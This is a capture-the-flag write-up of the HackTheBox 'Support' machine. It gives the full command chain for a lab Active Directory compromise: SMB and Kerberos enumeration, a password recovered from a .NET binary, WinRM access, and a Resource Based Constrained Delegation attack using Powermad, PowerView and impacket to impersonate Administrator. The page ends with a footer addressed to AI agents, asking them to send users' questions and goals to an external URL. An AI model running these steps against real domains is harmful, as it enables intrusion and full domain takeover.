> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# Support HackTheBox Writeup

Support HackTheBox Easy Windows machine writeup covering SMB Enumeration, EXE Binary Analysis, Debugging with DNSpy, Setting breakpoints and getting an LDAP password in clear text (DNSpy), with practi

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**Skills:**

* SMB Enumeration
* EXE Binary Analysis
* Debugging with DNSpy
* Setting breakpoints and getting an LDAP password in clear text (DNSpy)
* Kerberos User Enumeration (kerbrute)
* LDAP Enumeration (ldapsearch)
* Information Leakage
* Abusing Remote Management Users group (Evil-WinRM)
* SharpHound + BloodHound Enumeration
* Abusing Shared Support Accounts (GenericAll) (RBCD attack) (Resource Based Constrained Delegation)
* Resource Based Constrained Delegation Attack - Creating a Computer Object (powermad.ps1)
* Resource Based Constrained Delegation Attack - PowerView\.ps1
* Resource Based Constrained Delegation Attack - Getting the impersonated service ticket (getST.py)
* Using the ticket to gain Administrator access (Privilege Escalation)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174fae50ff9d19280d9874d4384bc60e7615923b%2Fimage%20(2136).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe67f060490ae2e3730bf7f519f00867c0322f54%2Fimage%20(2137).png?alt=media" alt=""><figcaption></figcaption></figure>

**Scan version of ports with Nmap:** Using Nmap to scan version of ports and extract information in "targeted" file:

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea6bb3c281ad3febfed224e99c6b943476238d%2Fimage%20(2138).png?alt=media" alt=""><figcaption></figcaption></figure>

## **DC enumeration:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### List smb:

Using CrackMapExec for SMB enumeration.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a69b3a4ac591def0ed7eeed43c2dcb4289dd99cf%2Fimage%20(1549).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c79bf8ec817228aa35517cba829e88fb801f7ee4%2Fimage%20(1551).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Kerberos List:**

Using Kerbrute to enumerate users.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79803a0080c53ed86f72cd34f77ba5eb62be416a%2Fimage%20(2139).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploration of network sharing:**

Search for shared folders in the network.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8784cf356311d8f2de1ffc8f71d0e2191c225801%2Fimage%20(1552).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2eac4ec7f89313bf3e114881a5d3ab58d09771d%2Fimage%20(1553).png?alt=media" alt=""><figcaption></figcaption></figure>

We discover an interesting zip file called "UserInfo-exe-zip". To proceed, we use the `get` command to download it to our machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-146d0f0c14d8474311bf757d6851eba5eaaf6df4%2Fimage%20(1554).png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* Windows binary file analysis\:/*/*

We will launch a Windows executable on a machine equipped with Windows.

To do this, we need to:

1. Transfer ZIP archive

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-336c5666012c2a04d10a99a66d151be66d39e88f%2Fimage%20(1532).png?alt=media" alt=""><figcaption></figcaption></figure>

2. Migration of VPN Configuration
3. `/etc/hosts` Configuration

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d437fff4d6ce1f99c82def2a9ae4f2f5c5137e65%2Fimage%20(1533).png?alt=media" alt=""><figcaption></figcaption></figure>

To run the binary and identify all valid users, just enter the following command

```bash
./UserInfo.exe find -first * -last *
```

#### This binary will allow us to list users.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f14fb65a246282ec34008365edfd123bafc9be9%2Fimage%20(1534).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analysis of Windows binary file downloaded with DNspy.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-14eda0b0e6a7e38c03998a0c8c761c2bfaa37f14%2Fimage%20(1535).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Extraction of a clear password:**

Using DNspy to extract a clear password from a Windows binary.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68c6479e98ea649406632bb6893d719647ad6b78%2Fimage%20(1537).png?alt=media" alt=""><figcaption></figcaption></figure>

We will run the program, but we will pause only in the section where the text is clear.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1ca7d885fca23b756d5f4e2c062b57004e48b42%2Fimage%20(1538).png?alt=media" alt=""><figcaption></figcaption></figure>

Here is the LDAP password:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fccbe4d7d63d2f9e8004e29d9950cd9a4f61e5d8%2Fimage%20(1539).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDAP password verification:**

Checking the password extracted with CrackMapExec.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b79bfe33e6dc867026014d081cb67adbfc047726%2Fimage%20(1540).png?alt=media" alt=""><figcaption></figcaption></figure>

### List of domain:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### Domain users

```
enumdomusers
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b0b35dd85e726addffce56832f56c8a40ea29f4%2Fimage%20(1541).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Domain groups

```bash
enumdomgroups
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db6b248cef31df6216180ce1148c26c917ef9f2a%2Fimage%20(1543).png?alt=media" alt=""><figcaption></figcaption></figure>

#### User Descriptions:

```bash
querydispinfo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a6c088afc83bd590c7cee65ec87e9a5bfd6e8d9%2Fimage%20(1544).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Insert all valid domain users into a file.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d30a010c21f0ac40cf81716bea9056e3ffe7124%2Fimage%20(1545).png?alt=media" alt=""><figcaption></figcaption></figure>

#### We will now check whether the LDAP password is reused for one of the following users:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

However, this does not work.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ead4b5c47f06a138d5a8b6c2e2a337bc0e929380%2Fimage%20(1546).png?alt=media" alt=""><figcaption></figcaption></figure>

### **LDPA listing:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### Using LDAP search to enumerate information.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### A lot of data is available, however, by applying a filter on the song information, a password for the support user is discovered.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d7b358420350e9c73aef45179ffd790a85cffc%2Fimage%20(1547).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Exploitation:**

#### Use CrackMapExec to confirm the password associated with the support account.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

This user is part of the remote management user group, allowing us to connect via Windows Remote Management (WinRM).

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **Use of Evil-WinRM:**

Connect to the target system via Evil-WinRM using the identified information obtained.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13620b0ff292719414d2263e0b551379c1e0f175%2Fimage%20(1548).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### **Review of current privileges:**<br>

Using the `whoami /priv` command to check user privileges, without success.<br>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb9161fbcd02ca5c5d04afd0202c3f716ec9e961%2Fimage%20(2140).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Analysis of membership groups:**

Using the `net user support` command to inspect the groups to which the user belongs.

Discovery of an apparently rare group, "shared support accounts".

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87693bc598ce55f2c0352ae7ab5c3e2a08a0c2d%2Fimage%20(2141).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Use of BloodHound for Privilege Analysis:**

#### Using BloodHound tool to map access relationships.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24a8ad5d49ece7db7f5c5483d53c6abca7ddfebf%2Fimage%20(2142).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55d4466bc771276edb7d50b2467948e3509116ed%2Fimage%20(2143).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **SharpHound execution for further analysis:**

Using SharpHound, a tool complementary to BloodHound, to collect additional data on access relationships.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec510f08bec802ae32a7f8aeb16a9c8ba3ff1fce%2Fimage%20(2144).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5197fab18924198b6b334a5841c781a08ac4b8%2Fimage%20(2145).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability Resource Based Constrained Delegation Attack:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **Vulnerability identification Resource Based Constrained Delegation Attack:**

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965df08c9717c66c273be88bab4b616f67236503%2Fimage%20(2146).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Deployment of the Powermad script to create a machine account.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### Using PowerView to check machine account creation.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d14609ed598f86e2db250120bcaf45dc835c0b1%2Fimage%20(2147).png?alt=media" alt=""><figcaption></figcaption></figure></div>

#### Definition of authorizations for the machine account using PowerShell commands.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### With this command, we check whether the entire 'Get-DomainComputer dc' procedure works using the 'msds-allowedtoactonbehalfofather identity' properties.'

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd020e3c2a82e956581c11243297b9e5bb444a87%2Fimage%20(2148).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### **Exploitation of vulnerability**

#### Using the Impacket tool to execute the `getST` command to get a TGT ticket that impersons the Administrator user.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbf90a346d8f28174a6cc94bb8d992fb55c5e58%2Fimage%20(2149).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Configure the Administrator Kerberos environment by exporting `KRB5CCNAME`, then connect to the target system using Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24e7afa4733c9a41aec2ac7a31eedcf56c01f322%2Fimage%20(2150).png?alt=media" alt=""><figcaption></figcaption></figure>

### Final Flag :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8573bbe1a1994c359f2b51a3b87664f13a19dbd3%2Fimage%20(2151).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5f7e7f7442fe5b14557f36883610d07f0f1c951%2Fimage%20(1414).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
